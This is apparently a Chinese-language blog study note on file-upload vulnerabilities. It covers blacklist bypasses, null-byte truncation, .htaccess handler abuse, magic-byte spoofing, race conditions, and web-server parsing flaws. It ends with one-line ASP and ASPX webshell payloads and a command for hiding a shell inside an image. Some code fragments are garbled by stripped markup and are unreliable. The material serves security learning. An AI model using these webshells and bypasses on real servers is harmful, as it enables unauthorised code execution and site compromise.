文件上传基础

真的很基础!

不懂得:9、11

大体思路

  • 抓包绕过前端检测
  • 修改MIME类型绕过服务器检测

对于黑名单

  • 遍历后缀名
  • 改变大小写
  • 尝试后缀首尾加空格
  • 很严格的黑名单:上传.htaccess
  • 利用特殊文件名特性

对于净化

  • 双写绕过(.pphphp)

对于文件类型检测

  • 幻数绕过
  • 内容绕过
  • 攻击解析器

条件竞争漏洞
WebServer解析漏洞
CMS、编辑器漏洞
配合文件包含漏洞


常规bypass

操作系统命名规则绕过

  1. 上传不符合windows文件命名规则的文件名
    '.' , ' ' , ':' ,'::$DATA'都被windows认为是不合法文件名,会进行去除。
    注意,最后的::$DATA是一个整体,只能使用这个,不能把DATA换成其他名称。
  test.asp.
  test.asp(空格)
  test.php:1.jpg
  test.php::$DATA

会被windows系统自动去掉不符合规则符号后面的内容。

  1. linux下后缀名大小写
    在linux下,如果上传php不被解析,可以试试上传pHp后缀的文件名。

0x00绕过

这是一种组合逻辑漏洞。

Name = getname(http requests)//假如这一步获取到的文件名是dama.asp .jpg  
Type = gettype(name)//而在该函数中,是从后往前扫描文件扩展名,所以判断为jpg文件  
If(type == jpg)  
SaveFileToPath(UploadPath.name , name)//但在这里却是以0x00作为文件名截断,最后以dama.asp存入路径里  

注意:POST不会像GET一样自动解码%00,所以要在二进制中修改。

上传.htaccess绕过

如果黑名单过滤的非常彻底,我们可以采用将其他类型文件解析成php的方式。.htaccess文件就是用来标记解析方式的文件,上传我们操控的这个文件即可。
该文件仅在Apache平台上存在,IIS平台上不存在该文件,该文件默认开启,启用和关闭在httpd.conf文件中配置。该文件的写法如下:

  
 SetHandler application/x-httpd-php  
  

保存为.htaccess文件。该文件的意思是,只要遇到文件名中包含有”_php.gif”字符串的,统一按照php文件来执行。该文件在Apache里默认是启用的,然后就可以上传一个带一句话木马的文件,例如a_php.gif,会被当成php执行。
如果使用这种写法:SetHandler application/x-httpd-php,那么所有文件都会被解释成为php。

文件内容检测绕过

1. 文件幻数检测:

JPG : FF D8 FF E0 00 10 4A 46 49 46
GIF : 47 49 46 38 39 61
PNG: 89 50 4E 47

字符串表示:
(1) .JPEG;.JPE;.JPG,”JPGGraphic File”
(2) .gif,”GIF 89A”
(3) .zip,”Zip Compressed”
(4) .doc;.xls;.xlt;.ppt;.apr,”MS Compound Document v1 or Lotus Approach APRfile”
以下的函数都是通过检测幻数来判断文件类型的,在文件幻数后面加上自己的一句话木马就行了

function getReailFileType($filename){
    $file = fopen($filename, "rb");
    $bin = fread($file, 2); //只读2字节
    $strInfo = @unpack("C2chars", $bin);    
    $typeCode = intval($strInfo['chars1'].$strInfo['chars2']);    
    switch($typeCode){      
        case 255216: $fileType = 'jpg';break;
        case 13780: $fileType = 'png';break;        
        case 7173: $fileType = 'gif';break;
        default: $fileType = 'unknown';
        }    
        return $fileType;
}

getimagesize($filename)

function isImage($filename){
    $types = '.jpeg|.png|.gif';
    if(file_exists($filename)){
        $info = getimagesize($filename);
        $ext = image_type_to_extension($info[2]);
        if(stripos($types,$ext)>=0){
            return $ext;
        }else{
            return false;
        }
    }else{
        return false;
    }
}

exif_imagetype($filename)

function isImage($filename){
    //需要开启php_exif模块
    $image_type = exif_imagetype($filename);
    switch ($image_type) {
        case IMAGETYPE_GIF:
            return "gif";
            break;
        case IMAGETYPE_JPEG:
            return "jpg";
            break;
        case IMAGETYPE_PNG:
            return "png";
            break;    
        default:
            return false;
            break;
    }
}

2. 文件相关信息检测:

一般就是检查图片文件的大小,图片文件的尺寸之类的信息。
绕过方法:
伪造好文件幻数,在后面添加一句话木马之后,再添加一些其他的内容,增大文件的大小。

3. 文件加载检测:

一般是调用API或者函数去进行文件加载测试,常见的是图像渲染测试,再变态一点的甚至是进行二次渲染。
绕过方法:
针对渲染加载测试:代码注入绕过
针对二次渲染测试:攻击文件加载器
通常,对于文件内容检查的绕过,就是直接用一个结构完整的文件进行恶意代码注入即可。


条件竞争漏洞

这个漏洞是由于并发处理不当造成。


在copy和unlink之间,如果发起了访问,服务器来不及删除。此时执行脚本,生成shell文件,就可以持久化一句话木马在Web服务器中。


WebServer解析漏洞

学习链接

Apache解析漏洞

  1. 扩展名从右往左解析漏洞
    一个文件名为xxx.x1.x2.x3的文件(例如:index.php.emmm),Apache会从x3的位置往x1的位置开始尝试解析。
    如果x3不属于Apache能解析的扩展名,那么Apache会尝试去解析x2的位置,这样一直往前尝试,直到遇到一个能解析的扩展名为止。
    因此,shell.php.emmm会被解析成php文件。
  2. 配置问题导致漏洞(一)
    如果在 Apache 的 conf 里有这样一行配置
AddHandler php5-script .php

这时只要文件名里包含.php 即使文件名是 test2.php.jpg 也会以 php 来执行。

  1. 配置问题导致漏洞(二)
    如果在 Apache 的 conf 里有这样一行配置
AddType application/x-httpd-php .jpg

即使扩展名是 jpg,一样能以 php 方式执行。
解决方案:配置文件中加入


        Order Allow,Deny
        Deny from all

IIS解析漏洞

IIS6.0

  1. 文件类型
    正常:www.xxx.com/logo.jpg
    触发漏洞:www.xxx.com/logo.asp;.jpg
    按照Ⅰ来访问logo.jpg,文件会被当成是jpg图片来解析,想办法,能够按照Ⅱ来访问logo.jpg,文件就会被当成asp文件来处理。(如果IIS支持PHP,那么logo.php;.jpg也会被当成PHP文件执行)

  2. 文件夹类型
    正常:www.xxx.com/image/logo.jpg
    触发漏洞:www.xxx.com/image.asp/logo.jpg
    按照Ⅰ来访问logo.jpg,文件会被当成是jpg图片来解析,想办法,能够按照Ⅱ来访问logo.jpg,文件就会被当成asp文件来处理。(如果IIS支持PHP,那么image.php文件夹下的文件也会被当做PHP文件解析。)

IIS7.0以上

IIS7.0/7.5是对php解析时有一个类似于Nginx的解析漏洞,对任意文件名只要在URL后面追加上字符串”/任意文件名.php”就会按照php的方式去解析。(例如:webshell.jpg/x.php)
IIS7.0(Win2008R1+IIS7.0)
IIS7.5(Win2008R2+IIS7.5)
IIS的解析漏洞不像Apache那么模糊,针对IIS6.0,只要文件名不被重命名基本都能搞定。这里要注意一点,对于”任意文件名/任意文件名.php”这个漏洞其实是出现自php-cgi 的漏洞, 所以其实跟IIS自身是无关的。

Nginx解析漏洞

目前Nginx主要有这两种漏洞:
a.一个是对任意文件名,在后面添加”/任意文件名.php”的解析漏洞,比如原本文件名是test.jpg,可以添加为test.jpg/x.php进行解析攻击。
b.低版本的Nginx可以在任意文件名后面添加%00.php进行解析攻击。
Nginx0.5.
Nginx0.6.
Nginx0.7. <= 0.7.65
Nginx0.8. <= 0.8.37
对于”任意文件名/任意文件名.php”这个漏洞其实是出现自php-cgi的漏洞,所以其实跟Nginx自身是无关的。


配合文件包含

可以先上传一个含有木马的其他类型(txt等)文件,然后通过文件包含将这个文件包含进来。此时,上传的木马文件会被当做php代码解释。

//index.php
");
include("inc.txt");
echo("OK."."
"); ?>
//inc.txt
");
?>

CMS漏洞


WAF绕过


一句话总结

php


asp
<% eval request(“lzx”)%>
aspx
<%@ Page Language="Jscript"%><%eval(Request.Item["lzx"],"unsafe");%>
过狗



图片木马

copy /b uplode.jpg+shell.php

你可能感兴趣的:(文件上传基础)